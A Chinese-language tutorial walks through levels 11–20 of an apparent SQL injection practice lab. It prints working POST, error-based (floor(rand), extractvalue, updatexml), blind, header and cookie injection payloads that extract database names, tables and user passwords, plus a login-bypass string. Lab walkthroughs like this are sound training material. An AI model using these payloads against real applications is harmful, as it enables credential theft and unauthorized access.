不管是第幾關,我們的最終目標是獲得用戶密碼,從而獲取最高權限!
11到21關的提交方式全是post型的,我這里使用burpsuit抓包軟件,也可以用hackbar選中的post,下面的實驗我們穿插的使用(用hackbar的時候我們的注釋符號用#,不能用--+,因為--+會出錯)
第十一關
從這一關開始,我們就進入到了POST注入的世界了。在接下來的幾關中我們將陸續介紹關於POST注入的方法以及技巧。
post是一種數據提交方式,它主要是指數據從客戶端提交到服務器端
首先我們發現他是單引號字符型注入

判斷它有幾個顯示位,(看來是兩個)

接下來我們使用 聯合查詢語句 union select 來進行爆破,使用union select的時候要注意,輸入的unname必須是一個不存在的,,否則將會輸出不出來


首先獲取數據庫使用者 名稱權限,版本

獲取我們要爆破的數據庫名
獲得該數據庫中的表名

獲得列名,因為我們沒有指定數據庫,所以他把所有數據庫里面的users表的列名全都列出來,,
加上and table_schema=database()就可以指定該數據庫,注意users旁邊要加引號,不加會出錯
獲得用戶名密碼

第十二關(注入格式將十一關的'換成 ") 就行)
和第十一關一樣,就是把單引號閉合換成雙引號變形閉合就可以啦 ' ——> ")


第十三關
發現輸入完正確的輸入后,他不給我們回顯出來,說明這關是盲注了,就又和第五關一樣了,參考第五關。通過這關的名字我們可以判斷是單引號變形,就是‘)進行閉合

Double Injection- String- with twist(雙注入 - 字符型 - 變形)

既然它返回錯誤信息了,說明有回顯,可以報錯注入。
樣例payload,,獲得數據庫名

在concat()中構造查詢語句,
爆數據庫名,版本,用戶, , ,有多少組用戶密碼,用戶和密碼
1 uname= ') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit 2 3 uname= ') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit 4 5 6 uname= ') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 7 8 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 9 10 uname= ') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 11 12 uname= ') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit 13 14 uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 # &submit=Submit
最后獲得用戶名和密碼

(中間還可以用布爾型手工注入,正確會回顯,錯誤不回顯)

(第五關基本一樣,不再贅述)不會的可以看我上一篇文章很清晰的講述了如何到這步
第十四關
和第十三關基本一樣就是把單引號變形 變成 雙引號,過程不再贅述,最后獲得用戶名和密碼
這里用的布爾型手工注入,正確會回顯,錯誤不回顯(我這只截圖了一種方法,共有三種方法)


第十五關
這關題目是說時間延遲單引號盲注,那咱就用時間延遲吧,但是其實用上一關的布爾盲注也是完全可以的

獲取用戶密碼


第十六關
和第十五關基本一樣,區別就是把單引號閉合變成了雙引好括號閉合,沒有回顯位,用時間盲注

時間盲注獲得用戶名

布爾盲注得密碼(證明兩種方法都可以解題)

還有一種更快的方法,我們大費周章就是為了獲得用戶名密碼。這種方法又叫做萬能密碼,就是我們即使不輸入密碼,用戶名只要寫成admin")# 這樣的形式就可以進去

第十七關
這關有點意思啦,我上來先用萬能密碼嘗試發現不能,經過單引號,雙引號以及變形,發現不管怎么樣都沒有得出我們想要的結果
后來通過查網頁和看php文件,我發現這關對username做了很嚴格的過濾,對各種引號括號進行了轉義,判斷。但是它沒有對password進行過濾,所有我們來對password進行爆破
我不經意間發現,這一關好像對密碼沒有進行驗證,只要你用戶名對,密碼是什么他都可以進去

這關我試了試好像不能進行布爾盲注和時間盲注,可以試試報錯型注入
使用updatexml(),它和extractvaule()是親兄弟、
獲取版本(可有可無,就是為了驗證這個方法是否可行)

獲得庫名

獲得表名

獲得列名

獲取字段使用報,,錯性注入會出現錯誤(出現這個錯誤You can't specify target table 'users' for update in FROM clause)
錯誤的意思是說,不能先select出同一表中的某些值,再update這個表(在同一語句中)
對於這個問題,,可以采用雙層 select(),

第十八關
這關是 基於報錯注入,上一關沒有對password進行過濾,這關就進行過濾了,那怎么辦呢?
這關我們就要用burp抓包神器了(注意把瀏覽器設置成代理模式,抓包的網站不要用localhost,因為我試了試發現不能)
把瀏覽器設置為代理,,設置手動代理時,,將端口設置為8080


Burp中設置,前面的勾一定要有,不然無法監聽

之后,開着burp,,,再去瀏覽器隨便點下Submit或者執行就行。
瀏覽器就會,一直處於刷新狀態 說明抓包成功

我們先輸入一個admin,admin,,把包放回
這樣把包放回后,,,右得重新設置代理,抓包,太麻煩
我們直接把抓來的代碼全選,,發送到repeater,這樣咱們就不用在瀏覽器上一直輸入了,方便快捷

我們把這句話換成我們想要的查詢語句就可以了(使用extractvalue進行)和第12關的語句基本一樣
獲得數據庫名

go完之后就可以直接在Burp上查看啦

還是那個地方,,把語句換成
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
獲得數據庫表

換成:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
獲得數據庫列名

獲得用戶名密碼(這里只顯示了一部分密碼,當然可以用not in來看其他的密碼)
'and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password)from users),0x7e)) and'

第十九關


這一關一進去輸入賬戶密碼就發現有一個Referer的東西,我猜就是改變它的值,事實確實如此,和上一關基本一樣就是把agent換成了referer
代理,抓包,修改headers中的User-Agent(十八關中修改的部分),獲得庫名……獲得用戶名和密碼,又是重復性動作了,和上一關語句都一樣,我就不截圖那么多了
第二十關
進來先輸入用戶名密碼,測試一下,發現是關於cookie值的進行注入,那我們就在這里注入

同樣的設置代理,抓包,,抓包后發送到repeater:

在上圖划線部分注入,
改cookie:uname=admin',報錯,說明存在注入漏洞

還是那老一套,看加不加單引號,怎么閉合,有幾個顯示位。
查看列數:uname=' order by 4 # (注意閉合sql語句)
判斷回顯位置:uname='union select 1,2,3# 最后發現是單引號閉合,有三個顯示位

爆庫名

表名,列名,都和第一關的payload一樣
表名和列名的語句
1 uname=-giao' union select 1,13,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+
2 3 uname=-giao' union select 1,13,(select group_concat(column_name)from information_schema.columns where table_name='users')#
爆信息

11-20結束
